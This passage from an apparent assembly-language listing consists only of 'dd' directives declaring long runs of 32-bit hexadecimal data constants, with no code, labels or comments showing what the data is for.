0E4940C02h, 0A298D99Bh, 9BC22018h dd 0D1580834h, 0CED9F5h, 66E91A55h, 0E8C73AB9h, 0EF822970h dd 6248430h, 4A5067D8h, 15C6F145h, 4CF83E11h, 0ACE970D8h dd 9DCC1CA0h, 0A7409500h, 8366F86Fh, 380A52AEh, 30F354C5h dd 8222A01Ch, 917468ACh, 800014A6h, 60D5D7Eh, 0AE8F02Fh dd 0FFB921A6h, 88F7B9Ch, 44E0414Ch, 0A0A2C449h, 0C020683Ch dd 0FF860AA4h, 6230EE12h, 189806F4h, 98D15F20h, 8326C918h dd 70E313FCh, 60C33828h, 341E4457h, 0CFDF4439h, 2D803599h dd 3AE60A8Ah, 260089AFh, 660B4AC4h, 0F9528BFFh, 2F70D8B4h dd 9AC53019h, 85CFF148h, 9EF64004h, 81C0060Bh, 781D460Ah dd 25E61C49h, 8310325Fh, 919C48B0h, 4980D545h, 0D1102A0h dd 98C0E126h, 0F3690B66h, 3F671DA6h, 0B44F14F1h, 5E3E260Eh dd 4FB05014h, 2CA4D7C6h, 36B5800Ah, 85BA0E6h, 0D1C29488h dd 6611E0C0h, 0E646020Dh, 0A7860A87h, 70C63C40h, 6F14203h dd 0C3F36C68h, 46A038EDh, 66E63383h, 6E06BA9h, 0F17840BDh dd 0E87D1273h, 5484C12Bh, 0A0AD6F05h, 6EC0A461h, 0C246F880h dd 0DDA60BB0h, 9ED08850h, 0A9CEAE40h, 199A9084h, 0F81E60BDh dd 0CEB1F414h, 68208F6Ch, 0E0921A5Eh, 0A658E08Ch, 8D08A36Fh dd 7C4BB8BAh, 0AA7B062h, 348B833Bh, 7699C6A8h, 4C118874h dd 539DD67Eh, 6700233h, 0DE1C23EBh, 1C3B1470h, 34485A39h dd 0F0C91200h, 0EE130CA6h, 2160889Bh, 0F6C52217h, 0CA270432h dd 8B0D5792h, 675F0618h, 0A29545Eh, 0FA4E3E2Ah, 0B70458A8h dd 8B538618h, 6A0A28h, 7E26055Bh, 3C6FA54h, 71807093h dd 50B3E413h, 6A271C30h, 60503C4h, 71A52EFCh, 0E043B518h dd 3102214Eh, 7B04A27h, 1358B805h, 0FD8400A6h, 0A09BC8EBh dd 5482BF5h, 0A486B0B0h, 0C4961CD2h, 0B280C24Fh, 3CB801CCh dd 0B575D281h, 364D84Dh, 0E643D987h, 43052C3h, 16F3E4C0h dd 649AD91Ch, 384EA02h, 0C0DAFC66h, 0F0856834h, 0B33E1586h dd 63C06002h, 0C538CE31h, 0C72098C6h, 20A65038h, 2B20873h dd 0D829CFC6h, 0E098006Bh, 70C90F59h, 0DB5B299Bh, 0D11B4034h dd 0C6261085h, 1D1E749Eh, 0D7C9D0F0h, 0F818AE43h, 0DB9D1875h dd 30405846h, 73F041E3h, 8FB0402Fh, 0A0A5F97Ah, 0B03FDF81h dd 0DC404E96h, 0C52066AAh, 2878A5B8h, 3D3FD618h, 284B20DCh dd 0A5F48E8Ah, 0BB64819Ch, 85485ECEh, 11A4E090h, 684E8460h dd 0C4DB520Fh, 0FFC20271h, 0FA5670E6h, 0FC06DC96h, 4A632474h dd 246EFC50h, 587403ACh, 0BC15581Dh, 34B045B2h, 5077506Fh dd 0F969F61h, 0E96AF982h, 28B8F12Bh, 0E809464Fh, 0FD9220h dd 44E81E0h, 0F83E50C6h, 0DBD738E6h, 10EA861Bh, 0FFE99DA0h dd 0B97401F0h, 401D3CAEh, 0D4B5782h, 44F007A3h, 0C89483ABh dd 90C2A4A7h, 1BE0414Fh, 2EA6D841h, 0F80B3431h, 2A7A8D00h dd 874397B7h, 0CEAF8009h, 48A416F0h, 5C39240Ch, 99E02860h dd 2629F045h, 6D61505Ah, 0EBD45C88h, 4CE898FCh, 0C63814E4h dd 2C531593h, 1C180974h, 20D1C19Dh, 247082h, 0FAA86FC6h dd 0F9518B66h, 7AAA4601h, 991DE6EEh, 0A32C6D0h, 5E260B48h dd 2D0A3C80h, 0E0743ED4h, 700A4185h, 70F7ED3Bh, 0B46C2D24h dd 80A19A09h, 9DC1BFCh, 62562C06h, 0F8D90FACh, 72F04603h dd 82ADA6A8h, 0E086F138h, 0A3376608h, 0B3E60103h, 2260CDEh dd 3BC1D3BBh, 7B2C6092h, 0F681948h, 1704F4CFh, 0CE0B0C5Eh dd 4F600222h, 0DF14E0B2h, 8470C05Fh, 3FA609D5h, 14202C58h dd 0E0ACE7B8h, 28B5A6EBh, 12C48242h, 0D493560h, 0D0D03CB0h dd 94A1790Bh, 268860C5h, 0F31CFC1Dh, 9CFBD01h, 78822366h dd 0F180ECE6h, 0D39FCC45h, 847A9446h, 0AC401860h, 377D5054h dd 67663D00h, 5626FB95h, 0A6EE0B3Eh, 0C4036E3Ah, 46A0189Eh dd 90A1450Ch, 2868BA64h, 60E8428h, 82F0E0D1h, 45F97D0Fh dd 0EA388E90h, 787EB626h, 2259A014h, 86E30D0h, 90BAC1A6h dd 0D12005C0h, 1BF66F6h, 0BD9D06BCh, 0CE8462FFh, 251442F2h dd 804040E6h, 486B65E1h, 6694033Bh, 6801EC6h, 0F8789DD6h dd 0FA83F603h, 1884DBA6h, 28209468h, 82832557h, 7138401Ah dd 0A6ED00BDh, 66EF409Ch, 0D1F1C43Eh, 1D20BEF0h, 0E0241BBFh dd 4D205418h, 0C118C478h, 0DE5C819Bh, 0D298416Bh, 5E66F075h dd 26EF4506h, 24D02E6Dh, 0FC0C876h, 86813F4Dh, 60F89818h dd 78DFBF98h, 833EF94Fh, 0E1EE58CCh, 0B898BBBAh, 7FB909AFh dd 134218C0h, 716BC63Dh, 0C40C90EDh, 1F42648h, 0FB8E25E6h dd 0D89086D0h, 46FF9208h, 8D0F732h, 6C660129h, 3C26F0D1h dd 0A38C5250h, 5968AA62h, 6508413Dh, 0F086688Ah, 444606A0h dd 7A281012h, 5226AC9Ch, 101B7061h, 161EC108h, 0A0982094h dd 768A460Ah, 131012ACh, 33B80A20h, 444A1F94h, 8089860Ah dd 37AAA664h, 8B5D0D7Ch, 86B37CCh, 8CA0E3C4h, 1842632Ch dd 869096F0h, 0E0F96887h, 0A0B8B22h, 85B3A2E6h, 80C05E98h dd 0C025B7C6h, 0E84BFE18h, 2C902C46h, 0D83C2671h, 5D5119F7h dd 0C424AD70h, 84EA5485h, 0F508C5E9h, 679404B7h, 2AB481F4h dd 0ABD830BBh, 6001A221h, 91951608h, 484A48h, 0A26DAE0h dd 90963846h, 77842418h dd 0B930CD0h, 789095D8h, 0C6882614h, 30CB24D8h, 0F5A4609h dd 1C9D8428h, 409AB492h, 0F970F030h, 98E5E1E0h, 388D49CCh dd 0D49024h, 0CBF2A51Ch, 4C170C5Ch, 6D439CCEh, 0E0F9B1FCh dd 0E843101Ch, 0AC363CBCh, 76F69C0Ch, 1B583E18h, 0DAE61794h dd 252AB403h, 0DFCC80A9h, 23C01E9Ch, 0AC013A0Eh, 0D0A09A58h dd 2E60E0CFh, 0F10887EBh, 42829BF5h, 0CD28E02Dh, 6F9A7448h dd 668108C2h, 0E81F5D6Dh, 11F0A1B5h, 0F318F40h, 39809CE0h dd 7A86A92Eh, 0F9753059h, 8AC08B01h, 8840A8A1h, 72A5A07Eh dd 0A0080F61h, 0DBF08D6Dh, 0C08C0F98h, 2001F77Eh, 0FDAACBC2h dd 80A0D70Ch, 0A278503Ah, 0F4B333Ah, 453C660h, 1EC3C0h dd 208C8514h, 0B1070D3Bh, 0A9DD32A0h, 0A740E887h, 1BA6D8Fh dd 94B2D5CEh, 83C32F56h, 66EBB7AAh, 8145829Ah, 2ED04088h dd 52F380E0h, 7B001CDEh, 0DDF7A4DAh, 9718057Fh, 7E069BBh dd 0C08D003Dh, 0A08ED528h, 8C0F83B2h, 95FC10E0h, 4F880120h dd 9F70AE3Ch, 8226F7F8h, 5E253438h, 0C1689918h, 1D69D7A0h dd 54E09A5Ah, 7E1BD88Dh, 0E3BA08B9h, 0F8E8A883h, 0AE3200A7h dd 0B3F06091h, 0C52820F8h, 0E3768021h, 0E4D9ECA0h, 0AB33C0F8h dd 7C5A20B4h, 57473E08h, 4D78A00Ch, 56604210h, 0A206E520h dd 687B03E0h, 0C5BA40A9h, 868A80C1h, 55FBC008h, 0A1187438h dd 3820F49Ch, 0B162460h, 4A700C30h, 0EC406E18h, 6F09CD09h dd 0DEA6F020h, 98489C70h, 0B8507014h, 0C049E0C0h, 0CE9D0E5Ch dd 38108DA9h, 0F82CB0E0h, 2E683280h, 20010608h, 0E0F02AEFh dd 5D5904F8h, 8179B09Fh, 0E06EA250h, 9C056BFh, 0C0A157EFh dd 0E38183EEh, 2C188962h, 5C38022Dh, 8E9440CDh, 41ACA0E9h dd 59A0A010h, 603C90D7h, 0FAE018B1h, 0F8F89A56h, 806FA092h dd 0B02B8A20h, 9CF72A3Ch, 7F51BA3Ch, 0D0A150E6h, 3F218C6Fh dd 48D5D80Eh, 0A2241C72h, 5400990h, 8006700Eh, 243F409Eh dd 5D287C90h, 7F31B84Eh, 53841052h, 10F32098h, 643C62A0h dd 18D637A3h, 0A4D3FD00h, 9094E420h, 78793E8Ch, 87E20078h dd 0CD43A08Ch, 0EB0240AAh, 0F4E08602h, 0E3EC867Eh, 81227609h dd 0C0E7311Bh, 20E48E8Bh, 98CCE48h, 3F1B4C0h, 109047Ch dd 582F5C60h, 43BB56DFh, 80C7AFCh, 0A0242320h, 0BCB65141h dd 30878E7h, 5F57760Bh, 4809E365h, 168E0334h, 1117F98h dd 0CFB9CDDh, 4C0D2370h, 2D00D610h, 34C16598h, 48C71711h dd 84183845h, 0D5BAA8B0h, 2EA08D09h, 2BB030E0h, 63B1A0BBh dd 2870730Eh, 50E4FF4Fh, 142098F1h, 828B7B1Eh, 0EA48F030h dd 20A8A86Eh, 0A130EC65h, 0EDC3995Dh, 51609044h, 4EC09482h dd 0CC8CA129h, 2B170834h, 9C44A7A1h, 0AA3A40FBh, 0A3700D9Ah dd 88E13924h, 7868C60Dh, 0A06860FEh, 0D8D1501Fh, 1F20A62Dh dd 713E273Fh, 853A0389h, 6FE56040h, 1E725820h, 0E3F94402h dd 0F4B5D224h, 29C1B09h, 40420550h, 0C757DDF8h, 0CBB11418h dd 0E0827FD8h, 9081044Bh, 3C904307h, 0B21F190Fh, 0ADD30791h dd 0C68F004Fh, 0EE1E08Bh, 0FD408CA3h, 62700452h, 0E4588179h dd 0B9F8415Dh, 0CC64D36Ah, 0FCD04011h, 288DEEECh, 12C06580h dd 28375E0h, 997CA818h, 3F0FA096h, 49E42840h, 30948238h dd 41E0401Ch, 0C08DE0Eh, 6750A366h, 0A751C0E8h, 2131C1F0h dd 3C281C98h, 17284CE4h, 232CC886h, 8005705Dh, 0C038CC85h dd 0CBBB098Bh, 240237FDh, 4462ED83h, 0DE061896h, 8BEE4943h dd 81631258h, 0FE180B3Dh, 0A005740Eh, 0AA900293h, 20B88E0Ah dd 701E3F5h, 0C5B782C1h, 5BC4B154h, 636000EFh, 2239F03Dh dd 7C00FF36h, 1F45A5C8h, 67082405h, 3FF43091h, 83D037A3h dd 188C38F6h, 0CE10B074h, 940798DCh, 0B237EA73h, 149054F4h dd 0F10D0F8h, 34009AC3h, 2F6017DAh, 5B1D80F4h, 5A439B6Fh dd 0D8FE1DCFh, 0FEFC9630h, 0F1EE1ED0h, 861F4E63h, 517D0286h dd 0F5BB3500h, 629C9AF4h, 1EB007Eh, 16D41A1Bh, 0FD033AC0h dd 717ABF26h, 67CEA7CCh, 0C1C12460h, 0FCD0168Ah, 6E1D7C34h dd 0F68010AFh, 799ABFD1h, 6468740h, 195A1DAAh, 493128EFh dd 216910DEh, 73B9AF0h, 0D3DA1679h, 0DC7A4178h, 0B1588F0Fh dd 6C9A8EABh, 0DF2E180Eh, 0EEFE0C38h, 78C1D340h, 0BF2873BAh dd 31A89EE3h, 24B10CDAh, 87BAC861h, 9D085D67h, 0C14D80ECh dd 3F913A40h, 51DDD012h, 3B31BF78h, 8845F0A3h, 30969098h dd 0F066EC9Ah, 78087768h, 1C8DE5Ah, 1AC0B823h, 7A388330h dd 0E3BF2481h, 3A9000D6h, 0FA1DED7Dh, 38C6ECADh, 3A60B2DDh dd 3078B58Ah, 0D9A84EB6h, 0BA181C2Ch, 853097CBh, 1BA0C620h dd 92603090h, 16E1DA10h, 5C1A3115h, 845FFA18h, 0B7F53A80h dd 0D058A60Dh, 0C60C3246h, 3014BEFAh, 3EAC740Dh, 0A68054DAh dd 0ADC3560Ah, 5D787E4Ah, 0C578AA7Ah, 0C2C96A1Fh, 5010CA07h dd 0A2009D8Fh, 0C33E4A77h, 9B6A1876h, 0E04610E3h, 0C83C8AF8h dd 32EA0CE1h, 0CA91811h, 890A76D7h, 0F23CAA20h, 0D0CA00E7h dd 388AA557h, 6C08C7DAh, 0FD6A814Ah, 4148870Eh, 0C80AA1Eh dd 977484h, 6231264Eh, 0C1EAA8CDh, 124211Fh, 76C5A4C5h dd 2A751470h, 0BB910092h, 0E12C0125h, 8A23762Fh, 0C46187B0h dd 2B934B1h, 1C337DCCh, 82C5640Ch, 77EC511Ch, 0A771498h dd 184780C4h, 59F7F000h, 123FE8Ch, 0E6636FE8h, 0A0E45FF8h dd 0E9CF8AAh, 0B13F2AA5h, 0B80F489Ah, 708E4F9Fh, 3C7B5D9Eh dd 0C4330914h, 0F8AC7528h, 788B3135h, 0E3A66C1Eh, 4AA06DBBh dd 0AD0ED92Dh, 956B68EAh, 0AAAEC148h, 0E9855367h, 212D7ACh dd 7357B1D0h, 27F14A0h, 10B818B7h, 0C84C010Ah, 280DDC15h dd 0E160B8E9h, 164A28A5h, 682A14E0h, 9A33806Ch, 0D0A9EAD0h dd 82B63172h, 102BCA08h, 0B830A06Ah, 408DF10Ch, 0CF316C25h dd 44033891h, 61410020h, 8F4260DAh, 0D8ECF070h, 358DD0C6h dd 24AC4888h, 0DF476A0Fh, 757CA00h, 0E530A6Fh, 84D73978h dd 22D4839Bh, 240D1480h, 926A19A4h, 401D706Bh, 0E8770AC8h dd 1408C9h, 0F7D42A38h, 0B3EA2B75h, 61F8818Ch, 24B0EE54h dd 0CB501A28h, 3561F4D7h, 0A59D8D58h, 0D200A84Bh, 705F27CEh dd 0CC037A92h, 2AA42587h, 4A41DF98h, 7906EDADh, 5781DC85h dd 71EA4BF4h, 25EC4085h, 0A730206Bh, 0B1F467E7h, 408C98CEh dd 462A76F7h, 0C608C553h, 40282787h, 0C0CA5F63h, 24042748h dd 0AA0264A6h, 96ADD746h, 877006D8h, 60BD4369h, 9B4B4C14h dd 1C24FCh, 0A65C2085h, 0BCF37C70h, 0D68928A3h, 0B16C22C0h dd 98E43631h, 789411F8h, 2D350C3h, 0D36F4B3Ch, 765FDCA2h dd 44992861h, 0CCC2CFCh, 8F601274h, 48DD2C69h, 0B7AA0AA5h dd 5880778Ch, 68188A1Eh, 0CC30D5E3h, 0EF6C92A0h, 0C0C1E051h dd 90E70030h, 0B8888590h, 25CC1602h, 0C88390F4h, 70126BD1h dd 84026FB0h, 0B8741820h, 265E2954h, 4108785Dh, 4BA5A0C6h dd 0ABC80380h, 8FFDBCEh, 4882AC28h, 0C3D30A71h, 4C51053Eh dd 70A54577h, 0DABCFB78h, 2D78220h, 0AB2C9B6Ch, 0F8A143CAh dd 326FDC25h, 7315C3A0h, 0AC5FBD51h, 0AAE0A2D8h, 86B61FFh dd 0E06E1F10h, 3899D69Bh, 257138C0h, 33492F3h, 7652FB2Ch dd 384211EAh, 8D52DC90h, 0D0FD190Ch, 0DED228CCh, 98C348F8h dd 45066C47h, 61DDCA64h, 0DF838CA5h, 12E2F215h, 2568C21h dd 3B144A20h, 0FCA6C461h, 0E338A6Fh, 71CC0E7h, 0D6E64A08h dd 0F0BA4776h, 6442CAA6h dd 0D90A7307h, 0B9807444h, 4C4A72BCh, 3C487051h, 0B38DE8B0h dd 0B0C25824h, 0E069A299h, 0C49C82F2h, 3A3040D9h, 3DE09815h dd 0F4F4C7CBh, 0AAD3FE9h, 536FDD1Eh, 3FA446C8h, 0FB3E68D2h dd 0B0B4480Ch, 63B76342h, 0D74CE932h, 0F1AAC012h, 0B0EC8010h dd 54157C11h, 506CB403h, 124A8850h, 2C6E2296h, 94008378h dd 0FE919AF0h, 0D0460C0Ah, 85B0F828h, 9331E957h, 7F2C2890h dd 14CAF420h, 0F870ABBDh, 4699D9B0h, 30941430h, 917960CCh dd 58DDC3B8h, 89294E3Eh, 8A65EC0Bh, 2E5888BCh, 60CE18C1h dd 58C509Dh, 54AA1A2Bh, 0DF062281h, 0AC0096ECh, 0AA571BDEh dd 30360750h, 298D0ADh, 0AA19E84Ch, 5E0CF896h, 0A180ED51h dd 798D296Ch, 7591C0BCh, 0AF54924Bh, 0F45287A4h, 0D6948078h dd 0A8950CECh, 0B97666A4h, 0C3CAC030h, 2A610465h, 35DDCC78h dd 0FD0D020Eh, 0A0E61712h, 6E8FA6A0h, 7FF6000Ah, 35ED8531h dd 4F3AC52Fh, 0F7A500FAh, 72453026h, 0E5373C2Dh, 0B6357C8Eh dd 0B6EB8B3h, 878ED7D1h, 4E27B8C4h, 65357760h, 3027037Dh dd 37C57FA5h, 0BF0800A5h, 6DE52FBDh, 851E2E7Ch, 6503CE46h dd 0C7304569h, 8C8FCD07h, 23257054h, 21008C46h, 297CD3F5h dd 6ECD06B7h, 64382C89h, 5C1C1486h, 1A10DA69h, 93480E01h dd 0D5FCA567h, 0B0CC4h, 58E0958Dh, 622ECC4Ch, 8566240Ah dd 58607496h, 1CB550h, 30A30372h, 56CD716h, 6149C53h, 573DCD9Eh dd 6FEE0AA1h, 0E03C3015h, 0E38199FFh, 0A302BC00h, 6CC28AF0h dd 88D60C5h, 661FB5E5h, 926250Ah, 50E04835h, 613ACC51h dd 151040BDh, 60E0477Ch, 0A4048691h, 757660ACh, 30D6BAF2h dd 31955B07h, 0A516B133h, 327B3070h, 752E3045h, 7DE9D0F0h dd 0BCC03142h, 2A271933h, 2F0E80h, 23C53563h, 376531B3h dd 1F907D57h, 0F930941Ah, 48085F90h, 0E3B02C35h, 6C319173h dd 0D8302894h, 0A42C8444h, 0A93D0228h, 0A3120DCBh, 315B8B81h dd 4804A45h, 6C4A5749h, 82A4F04Eh, 31C8B31h, 660E8955h dd 10500A09h, 50645A44h, 0B8FA3A1Ah, 3CB079C6h, 0B64501C8h dd 6EA534BAh, 44B8E23Dh, 0DB105148h, 0D000A6EBh, 0C534F887h dd 30C575A4h, 74294C42h, 319543C4h, 7038A88Fh, 0C89CD296h dd 3018BA78h, 90980BAEh, 0A558C5A9h, 85C8075Ch, 8B304498h dd 0A7C407ACh, 0C96136B5h, 0B2F8CE13h, 0C1A50931h, 28168D6Bh dd 8A8BE003h, 11EFCEDh, 2FF3E210h, 81584B05h, 0B540C608h dd 0D8E04A55h, 52877ECh, 0E0FD0C08h, 4141138h, 8DD00FEh dd 3212FFF0h, 68750035h, 0F3B0785Fh, 0CB0EDFDBh, 6187AC30h dd 1CBA3305h, 0CE91D09Eh, 2FA04818h, 1D6F3A83h, 213CF2F9h dd 0C6784A7Ah, 0EE913EB3h, 188B801h, 0F0E3A745h, 380784A6h dd 59113BDBh, 0B6DA2BC3h, 0D9782119h, 96A913Ah, 0C92BCC08h dd 18FFF98Ah, 824D415h, 8807CC82h, 842D880h, 3C0C85CDh dd 0BCB21844h, 0C874A820h, 42701040h, 3CA87DBDh, 0CA1CE19h dd 95506118h, 2A54E519h, 0EE216070h, 18AC1A69h, 63112436h dd 481406C4h, 5410484Dh, 5FDF80D1h, 9E06B9h, 7AC73E3Ch dd 0E26BCD20h, 8230CA8h, 104E7B44h, 2A07590Ah, 525418BEh dd 757B490Ch, 0F261940h, 0A006BBD1h, 98DA4C80h, 6A04C1D9h dd 756DF03h, 0F716E801h, 17308C3Eh, 0B86218E2h, 94BD00D1h dd 424E24CBh, 9103F620h, 2239D9C4h, 8AE090A2h, 84EB001Eh dd 0D46F4F01h, 0B300AAF2h, 0FDCF4E8Bh, 0E9E30450h, 9401E8h dd 0CAE91820h, 0FAF09C28h, 0BBF21900h, 7498FF4h, 295819C9h dd 0D084B816h, 1701F87Dh, 80E40CE3h, 28FCC291h, 0A11D63B0h dd 71F05E89h, 1700BC4Ah, 0B47D423Ah, 4CB3148h, 5A5DF969h dd 5934C077h, 7E0C8733h, 881532E1h, 50D10573h, 7C4E1770h dd 3701B21Ch, 2104DF4Eh, 0B187F228h, 0B077DDAEh, 2ACF18B5h dd 50691530h, 2E506F2h, 0B44FF187h, 8C805CE4h, 96CBF30Fh dd 0EAA44C50h, 0FB07FA03h, 8808A7E7h, 0A979B0BFh, 0CBE4C3C8h dd 73DD302Ah, 0B6E14C50h, 0E16C50Ah, 0F980142Eh, 0E3876C8Eh dd 34B2502Fh, 7AB900ACh, 683D8682h, 7E06BBC8h, 92B10706h dd 45F71E50h, 42414096h, 0C91A57DAh, 1C651F00h, 6AADD850h dd 84E93E17h, 0E106F580h, 0F2CB2688h, 20933703h, 3FA7F53h dd 6A096099h, 4802EC6h, 0A50ACBB0h, 0F4022CA1h, 0FD03F3Ah dd 3CE9B5Eh, 149840ADh, 6849B038h, 4AB82C07h, 0CB0532C9h dd 26EB40B8h, 36734100h, 34A36463h, 45FCEEh, 0FD13045Dh dd 41D0FFD2h, 0A08E7C0Ch, 3F29905h, 7D2DC055h, 7AC126A8h dd 1960248Ch, 0BF5D0414h, 0EF9E01D4h, 0F512CB0Bh, 0C8E1E1D3h dd 27BC1880h, 859FE8F9h, 16482EF4h, 0F0B00C18h, 90BCD892h dd 1C9A2824h, 2881F88h, 0D3AFC0C7h, 9191FC6h, 954531CEh dd 38FC084h, 710C022Ah, 589014h, 8E3C8C0Ah, 118ED6Bh, 0CCA00FE2h dd 15184BF0h, 20B9FBF3h, 7CB14867h, 74CC9E80h, 3F86AB9h dd 0DD271100h, 3349E031h, 82D4CF0h, 0CD0AC33Ah, 98819CFh dd 4800DAAEh, 3EFF355Eh, 0D4FC7D4Fh, 60AA8444h, 32D40E2h dd 7B02FDBAh, 819FFB22h, 3C77412Fh, 54245CDDh, 1EB10004h dd 37192B0Ch, 0AF1CBC0Ah, 9FC0619Dh, 0A0864383h, 0AC922Eh dd 3FE3B960h, 871B2508h, 0AF69B800h, 2B44900Dh, 0D866527Eh dd 869D2605h, 0C32E81F1h, 2070259Fh, 540C808h, 8F410ED5h dd 5989644Ah, 0BA6A7400h, 98A00884h, 35035B8h, 5B0388B8h dd 0E3D95EEAh, 58E80C49h, 62B075F6h, 282E0A0Ah, 18E130ADh dd 7C0A1E41h, 61D41550h, 495C2714h, 0A83304E8h, 48807E1Ah dd 4871CC59h, 0BC1F1DB6h, 0BD12A2h, 0A447E748h, 0B831D6F9h dd 0BBF69817h, 1EC78B30h, 42785696h, 0B50CF2C5h, 4E1EDC44h dd 24802754h, 0E88CC78Fh, 26FFE09Ch, 832C899Fh, 16F6C83Dh dd 8FE05107h, 0FDDE5FB3h, 0EA18E507h, 79B1CE81h, 41DD7040h dd 0F34F00C1h, 83D3C90h, 0A00DCA7h, 3EFEADB1h, 1DA067DAh dd 18A4E5Bh, 32064699h, 8B88442Dh, 0BBF50C8Ch, 75ABF97Ch dd 8F5412B5h, 0E8502851h, 8A1470FAh, 834865A1h, 0A9C849C7h dd 87F2B99Dh, 8090EAD0h, 24962DC6h, 0C1019A5h, 288045D0h dd 0D706BF0Fh, 41DCC512h, 2FA04487h, 0B3C832F2h, 0D4118048h dd 2D95A21Eh, 0AB12AE90h, 84002E19h, 97E6E318h, 423D0CB6h dd 6739E4E8h, 996F0430h, 30864489h, 0EFE830EDh, 0B52614A0h dd 0BC8B09F4h, 60C20064h, 76218A59h, 58650054h, 228804DDh dd 5F00D514h, 52595A05h, 39089C3h, 0AA30CF07h, 5CE9F3DAh dd 0C3C7DD14h, 0B6AD3111h, 0C458100h, 407BED76h, 0C210AF0Ch dd 18C059F7h, 789A3A64h, 0E200C8A7h, 306928DDh, 0B8E1ECh dd 248009DBh, 0D7580DA5h, 93490F03h, 3AFEAA59h, 3E868F40h dd 11077D3Ah, 0EF2F5F4h, 6D007A46h, 35A15427h, 72033BBCh dd 6ABB1EB8h, 0AB51DFACh, 33E44B53h, 510B07B9h, 0D09C2CD7h dd 0E47BA5C1h, 8DE1C31Fh, 0C931F800h, 0FBCE25h, 0CB394296h dd 364E0803h, 34313E7Fh, 2DA1382Fh, 19B90440h, 0A4060C20h dd 2618B86Fh, 6711B300h, 0FA967CCDh, 0DCF50049h, 0E83E4F34h dd 0F960C73Bh, 0B08B0681h, 0F688609Ah, 4C6040E7h, 96721801h dd 0E8A1B819h, 0B250DCh, 13FE64DAh, 39557C23h, 7984C20Dh dd 0E2F04954h, 0BE270363h, 0C6AFC3C0h, 84050D8h, 2C2FCF3h dd 0B09E5E30h, 0B7294Ah, 1CF2484h, 0C2940DAAh, 0C3D49800h dd 75CC6425h, 2C4B3CE8h, 0BADF600h, 0D793B684h, 82D7400h dd 123F0C64h, 421E2E4h, 454C7BA7h, 0F54A8020h, 6E01DD5Eh dd 0BE850C54h, 3048141Ch, 414B0206h, 5D445493h, 0B7234880h dd 0DE0052F6h, 3331D2F4h, 7C62E27h, 7779D9C3h, 481AA32Dh dd 52013800h, 39AC9C8Bh, 0A7D70162h, 0A3970CBAh, 41A0F3B4h dd 7506B7EDh, 1535496Ch, 0D9C50071h, 0F4C2884Eh, 0FD005887h dd 0D06EFFE5h, 7DD6126Ah, 0B2681D57h, 0E0E85Eh, 9998B0FBh dd 2E077B6Bh, 0D70034F0h, 2C4A46D5h, 43D01Bh, 709EFE40h dd 0EBCD128Fh, 0F58E5400h, 0F7DE47Ch, 0B8490042h, 86FA2099h dd 0E000768h, 0C0A3EC1Ch, 4CBC104Bh, 6B38BBCFh, 319200FFh dd 419BB32Fh, 0C203AEF6h, 7AB198DDh, 3A180007h, 1904B5C1h dd 0F7007E35h, 870EF9A1h, 91528Ah, 4B449570h, 230928Fh dd 0FF26DB0Eh, 0CC04922Fh, 0CC1CAB0h, 12C00520h, 662B582Ch dd 63839101h, 8057C988h, 0C2FA9CD9h, 0C112E77h, 1F8BFD73h dd 0A400F92Eh, 29146083h, 70DC9Bh, 68ED47DBh, 0A9D50A26h dd 91FDC095h, 3AA742Ch, 4A70598Ch, 2E00878Bh, 1CD55E7Ah dd 1625055h, 3AB87ED4h, 30D30603h, 0E01D5BE0h, 1C40C2F0h dd 5496F822h, 31CE0036h, 953CF52h, 3824A4BBh, 3F4CBDh dd 3BC0D245h, 378F507h, 110C9F8Dh, 687975DEh, 0DDF2F3Dh dd 29E9A79Dh, 0C110E2D1h, 0F481BC92h, 1C02AE08h, 0FD06966Fh dd 8491231Dh, 29B05111h, 6DA3C50Dh, 28BA0628h, 0EA00387Ah dd 40A8F155h, 6543E5h, 0DA6EAB4Ch, 0BF2C0A27h, 4345FC26h dd 0E019C700h, 0B0E8D925h, 0DED20052h, 9D49B981h, 6E0197B6h dd 0B7558286h, 0BC3157E4h, 92A3F8h, 4C617D70h, 5694C959h dd 4DDBC31Fh, 0ECD48D00h, 0E203586Dh, 4C80143h, 0A048BD33h dd 0C4EEF498h, 407938h, 6E0A60A4h, 0C190E2h, 52B45710h dd 0BDA014Bh, 0BCCF1704h, 7AC0F48Eh, 36D0FDCh, 53B4825Ch dd 0F2D8CDBDh, 0E04FAB8h, 1481011Bh, 0FF92CC80h, 7D4D0090h dd 0ADC4066Fh, 4400EA4Fh, 26CB6DD8h, 1620A1Fh, 3E806384h dd 2089F94Bh, 0A31DA1E0h, 0AE00A2ACh, 0CF3435A6h, 0BB720320h dd 14C7488Eh, 0D6F222B0h, 47D50600h, 5A4593Ah, 0AFC0016Ch dd 24A0660Eh, 9CB7F481h, 160F8B00h, 9D12EB89h, 1297FE5Eh dd 5F11D421h, 71123DFCh, 8E7000E2h, 20A48098h, 0A0ECF500h dd 91457A9Fh, 5B8318C9h, 0F2411B4h, 274A3E00h, 56886F6Dh dd 96E91D2Fh, 0C392392Dh, 0A8A8024Bh, 2F606595h, 9076A924h dd 6F0BD80Eh, 0B2130576h, 4EB9B402h, 0B13861A5h, 44F1080h dd 2747A0D1h, 6319FB09h, 386E8056h, 0F057B7E3h, 1A5D0008h dd 186FAF16h, 4B17396Ah, 200067CBh, 42B15ECEh, 0D031648h dd 0D11901D8h, 5126A8A4h, 0C4A276ACh, 86000E2Eh, 8883E60Bh dd 2E7DB2F5h, 0C9678h, 0E0181B5Bh, 0A025553Eh, 3C5A5433h dd 9ED1B000h, 234CD6AEh, 4322B41Dh, 9B0E0D80h, 0F35D997h dd 20300F4Bh, 0E0045BA0h, 0F7007824h, 3DB0F5FFh, 9809BB19h dd 7DDB1F9Ch, 21DC56h, 7EB9E30Bh, 7C7DC9FCh, 0D7CA7500h dd 6F70BA89h, 0E7280EE9h, 45A08507h, 1CADD8EEh, 55AE3000h dd 0CA24F536h, 3F2F72E0h, 0FF0A78C8h, 0F84B14h, 19508CFCh dd 0A1003D04h, 0CB74953Fh, 325E7Fh, 0FE0EE1E5h, 15BCE37h dd 8B135000h, 0F3A967A0h, 224800AFh, 9AB8561h, 6E702503h dd 0BAE13Fh, 18683524h, 47C8A8h, 0FCC795E2h, 73D033E6h dd 0A22BF200h, 0BFE38738h, 40D90064h, 578D9093h, 9B00AC76h dd 0E2C04FA5h, 83CD6Bh, 4CBCAF95h, 5EF88C0Eh, 37EF2200h dd 9603EB97h, 26E600E8h, 0C5A2FEACh, 6700C260h, 0C8A42EB2h dd 0EC3C3AAEh, 1F8AFA98h, 0C31E113Eh, 5C821637h, 0D1D650B0h dd 0CF280301h, 236C78C1h, 0D46C0C3h, 0E034008Bh, 62F3FC80h dd 8700AB51h, 0FD5A2D8Dh, 1254DB7h, 0B69B83F6h, 80B5C9D6h dd 